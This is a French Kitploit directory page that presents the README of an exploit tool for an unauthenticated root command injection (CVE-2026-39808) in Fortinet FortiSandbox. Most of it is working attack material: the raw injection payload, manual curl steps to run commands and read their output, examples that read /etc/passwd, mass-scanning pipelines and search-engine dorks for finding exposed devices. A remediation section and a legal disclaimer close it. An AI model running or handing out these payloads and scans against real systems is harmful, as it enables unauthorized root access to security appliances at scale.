Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
FortiSandbox-RCE-Exploit-CVE-2026-39808 — Scanner RCE non authentifié pour FortiSandbox CVE-2026-39808 avec vérification basée sur canary, exécution de commandes et intégration pipeline pour le scan de masse. | Kitploit
Outils/GitHubGitHub/ynsmroztas/fortisandbox-rce-exploit-cve-2026-39808
ReconnaissanceScanners de VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCommandement et Contrôle
GitHubynsmroztas/fortisandbox-rce-exploit-cve-2026-39808

FortiSandbox-RCE-Exploit-CVE-2026-39808

Scanner RCE non authentifié pour FortiSandbox CVE-2026-39808 avec vérification basée sur canary, exécution de commandes et intégration pipeline pour le scan de masse.

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Voir le dépôt
268il y a 4 moisVérifié par Kitploit
Partager

Scanner RCE FortiSandbox — CVE-2026-39808

CVE-2026-39808 FortiSandbox RCE

CVE-2026-39808 CVSS 9.8 Python 3.7+ No dependencies MIT License

Injection de commandes OS non authentifiée en tant que root dans Fortinet FortiSandbox

Vulnérabilité • Installation • Utilisation • Fonctionnement • Pipeline • Dorks Shodan • Avertissement


Vulnérabilité

CVE-2026-39808 est une vulnérabilité critique d'injection de commandes OS non authentifiée dans Fortinet FortiSandbox. Le point de terminaison d'API /fortisandbox/job-detail/tracer-behavior ne parvient pas à assainir le paramètre jid, permettant à un attaquant d'injecter des commandes OS arbitraires qui s'exécutent en tant que root — sans aucune authentification.

Cause racine

Le paramètre jid dans le point de terminaison tracer-behavior est transmis directement à une commande système sans assainissement. En utilisant des caractères de pipe (|), un attaquant peut sortir du contexte de commande prévu et exécuter des commandes arbitraires :

root@kitploit:~
GET /fortisandbox/job-detail/tracer-behavior?jid=|(id > /web/ng/out.txt)| HTTP/1.1

La sortie est écrite dans /web/ng/out.txt, accessible à /ng/out.txt sur le serveur web — fournissant un mécanisme pratique de lecture pour l'injection de commandes aveugle.


Installation

Zéro dépendance. Bibliothèque standard Python 3.7+ uniquement.

root@kitploit:~
git clone https://github.com/ynsmroztas/FortiSandbox-RCE-Exploit-CVE-2026-39808
cd FortiSandbox-RCE-Exploit-CVE-2026-39808
chmod +x fortisandbox_rce.py

Utilisation

Analyse de base

root@kitploit:~
# Vérifier si une cible est vulnérable (utilise une détection basée sur canary)
python3 fortisandbox_rce.py -u https://fortisandbox.target.com

Exécuter une commande

root@kitploit:~
# Exécuter une commande spécifique sur la cible
python3 fortisandbox_rce.py -u https://target.com --cmd "id"
python3 fortisandbox_rce.py -u https://target.com --cmd "cat /etc/passwd"
python3 fortisandbox_rce.py -u https://target.com --cmd "uname -a"

Vérification uniquement (sans exécution de commande)

root@kitploit:~
# Vérifier uniquement si vulnérable, sans exécuter --cmd
python3 fortisandbox_rce.py -u https://target.com --verify-only

Avec proxy Burp

root@kitploit:~
python3 fortisandbox_rce.py -u https://target.com --cmd "id" --proxy http://127.0.0.1:8080

Rapport JSON

root@kitploit:~
python3 fortisandbox_rce.py -u https://target.com -o report.json

Mode pipeline (analyse de masse)

root@kitploit:~
# Depuis une liste d'URL
cat targets.txt | python3 fortisandbox_rce.py --stdin --verify-only -o report.json

# subfinder → httpx → scanner
subfinder -d target.com -silent | httpx -silent | python3 fortisandbox_rce.py --stdin

# Shodan → scanner
shodan search 'title:"FortiSandbox"' --fields ip_str,port --separator : | \
  sed 's/^/https:\/\//' | httpx -silent | \
  python3 fortisandbox_rce.py --stdin --verify-only -o results.json

Toutes les options

root@kitploit:~
usage: fortisandbox_rce.py [-h] [-u URL] [--stdin] [--cmd CMD] [--verify-only]
                           [--proxy PROXY] [--timeout TIMEOUT]
                           [--rate-limit RATE_LIMIT] [-o OUTPUT] [--no-banner]

Options:
  -u, --url URL           URL cible
  --stdin                 Lire les URL depuis stdin (mode pipeline)
  --cmd CMD               Commande OS à exécuter (défaut : id)
  --verify-only           Vérifier uniquement la vulnérabilité, sans exécuter --cmd
  --proxy PROXY           Proxy HTTP (ex. : http://127.0.0.1:8080)
  --timeout TIMEOUT       Délai d'expiration HTTP en secondes (défaut : 15)
  --rate-limit RATE_LIMIT Délai entre les cibles en ms (défaut : 0)
  -o, --output FILE       Fichier de rapport JSON de sortie
  --no-banner             Supprimer la bannière

Fonctionnement

Le scanner utilise un processus de vérification en 5 étapes avec une prévention stricte des faux positifs :

root@kitploit:~
Étape 1  →  Détecter FortiSandbox (empreinte titre/en-tête)
Étape 2  →  Vérifier si le point de terminaison vulnérable existe
Étape 3  →  Injecter une chaîne canary unique via l'injection de commande
Étape 4  →  Lire /ng/out.txt et vérifier le canary (validation stricte de texte brut)
Étape 5  →  Exécuter la commande utilisateur + nettoyage

Prévention des faux positifs

Le scanner implémente plusieurs couches de validation pour éliminer les faux positifs :

  • Détection HTML — Si l'URL de sortie renvoie une page HTML (catch-all Angular SPA), elle est signalée comme faux positif
  • Validation du Content-Type — La sortie de commande ne doit pas être text/html
  • Isolation du canary — Le canary doit apparaître en texte brut propre, non intégré dans des balises HTML
  • Regex de sortie id — Correspondance stricte du motif uid=\d+(\w+) avec vérification de taille (<1000 octets)
  • Normalisation de l'URL de base — Supprime automatiquement le suffixe /ng pour éviter les problèmes de double chemin

Exemple de sortie

Cible vulnérable

root@kitploit:~
  ╔══════════════════════════════════════════════════════════╗
  ║  Scanner RCE FortiSandbox v1.0  —  CVE-2026-39808      ║
  ║  Injection de commande non authentifiée (root)          ║
  ╚══════════════════════════════════════════════════════════╝
  mitsec | @ynsmroztas

  ┌──────────────────────────────────────────────────────────┐
  │ Cible : https://fortisandbox.example.com                 │
  └──────────────────────────────────────────────────────────┘
  ✓ FortiSandbox détecté !
  ▸ Vérification du point de terminaison : /fortisandbox/job-detail/tracer-behavior
  ▸ Statut du point de terminaison : 200 | Content-Type : text/html
  ▸ Injection du canary : mitsec_a8k3m2x1
  ▸ Lecture de la sortie : https://fortisandbox.example.com/ng/out.txt
   CRITIQUE  🔥 VULNÉRABLE — CVE-2026-39808 CONFIRMÉ !
   CRITIQUE  Cible : https://fortisandbox.example.com
  ✓ Canary 'mitsec_a8k3m2x1' vérifié dans la sortie (texte brut propre)

  ──────────────────────────────────────────────────────────
    Sortie de commande : id
  ──────────────────────────────────────────────────────────
  │ uid=0(root) gid=0(root) groups=0(root)
  ──────────────────────────────────────────────────────────

  ✓ Fichier de sortie nettoyé

Non vulnérable

root@kitploit:~
  ┌──────────────────────────────────────────────────────────┐
  │ Cible : https://patched.example.com                      │
  └──────────────────────────────────────────────────────────┘
  ✓ FortiSandbox détecté !
  ▸ Vérification du point de terminaison : /fortisandbox/job-detail/tracer-behavior
  ✗ Le point de terminaison a renvoyé 404 — non vulnérable ou corrigé

Faux positif géré

root@kitploit:~
  ▸ Lecture de la sortie : https://target.com/ng/out.txt
  ⚠ L'URL de sortie renvoie une page HTML — c'est le SPA Angular, PAS la sortie de commande
  ▸ Content-Type : text/html
  ▸ C'est un faux positif — /ng/out.txt sert le index.html du SPA
  ▸ La cible ne semble pas vulnérable

Format du rapport JSON

root@kitploit:~
{
  "scanner": "fortisandbox_rce",
  "version": "1.0",
  "cve": "CVE-2026-39808",
  "scan_date": "2026-04-22T10:30:00+00:00",
  "total_targets": 5,
  "vulnerable": 1,
  "results": [
    {
      "target": "https://fortisandbox.example.com",
      "vulnerable": true,
      "details": {
        "is_fortisandbox": true,
        "server": "Apache",
        "canary": "mitsec_a8k3m2x1",
        "verification": "canary_match",
        "command": "id",
        "output": "uid=0(root) gid=0(root) groups=0(root)"
      },
      "timestamp": "2026-04-22T10:30:00+00:00"
    }
  ]
}

Intégration pipeline

Le scanner envoie les URL vulnérables vers stdout (toute autre sortie va vers stderr), ce qui le rend entièrement compatible pipeline :

root@kitploit:~
# Trouver les cibles vulnérables et les enregistrer
subfinder -d corp.com -silent | httpx -silent | \
  python3 fortisandbox_rce.py --stdin --verify-only 2>/dev/null | \
  tee vulnerable_fortisandbox.txt

# Enchaîner avec nuclei pour des tests supplémentaires
cat vulnerable_fortisandbox.txt | nuclei -t cves/

# Analyse de masse silencieuse avec limitation de débit
cat shodan_results.txt | \
  python3 fortisandbox_rce.py --stdin --verify-only --rate-limit 1000 --no-banner -o report.json

Dorks Shodan

root@kitploit:~
title:"FortiSandbox"
title:"FortiSandbox - Please login"
http.html:"FortiSandbox" port:443
"FortiSandbox" ssl:"Fortinet"
http.favicon.hash:-1222072778

Censys :

root@kitploit:~
services.http.response.html_title:"FortiSandbox"

FOFA :

root@kitploit:~
title="FortiSandbox - Please login"
title="FortiSandbox" && country="TR"

Dork Google :

root@kitploit:~
intitle:"FortiSandbox - Please login"

Vérification manuelle

Si vous préférez vérifier manuellement avec curl :

root@kitploit:~
# Étape 1 : Injecter la commande
curl -s -k --get "https://TARGET/fortisandbox/job-detail/tracer-behavior" \
  --data-urlencode "jid=|(id > /web/ng/out.txt)|"

# Étape 2 : Lire la sortie
curl -s -k "https://TARGET/ng/out.txt"
# Attendu : uid=0(root) gid=0(root) groups=0(root)

Remédiation

  • Mettre à niveau FortiSandbox vers la version 4.4.9 ou supérieure
  • Si un correctif immédiat n'est pas possible :
    • Restreindre l'accès réseau à l'interface de gestion FortiSandbox
    • Utiliser des règles de pare-feu pour bloquer l'accès externe aux points de terminaison /fortisandbox/job-detail/
    • Surveiller les journaux pour détecter des valeurs suspectes du paramètre jid contenant des caractères de pipe

Chronologie

DateÉvénement
Novembre 2025Vulnérabilité découverte
Avril 2026CVE-2026-39808 publiée
Avril 2026Corrigée dans FortiSandbox 4.4.9

Références

  • Avis PSIRT Fortinet — FG-IR-25-325
  • CVE-2026-39808 — NVD

Avertissement

Cet outil est fourni uniquement pour des tests de sécurité autorisés et à des fins éducatives. L'accès non autorisé à des systèmes informatiques est illégal. Obtenez toujours une autorisation écrite appropriée avant de tester. L'auteur décline toute responsabilité en cas d'utilisation abusive de cet outil.


Auteur

mitsec — @ynsmroztas

  • Portfolio : ynsmroztas.github.io
  • 100+ Hall of Fame | 2 430+ vulnérabilités divulguées | 1 100+ constatations critiques

Si cet outil vous a aidé, pensez à lui donner une ⭐

Télécharger l’outil
DétailValeur
ID CVECVE-2026-39808
Score CVSS9.8 (Critique)
Vecteur d'attaqueRéseau
AuthentificationAucune
PrivilègesRoot
Versions affectéesFortiSandbox < 4.4.9
Corrigé dans4.4.9 et supérieur
AvisFG-IR-25-325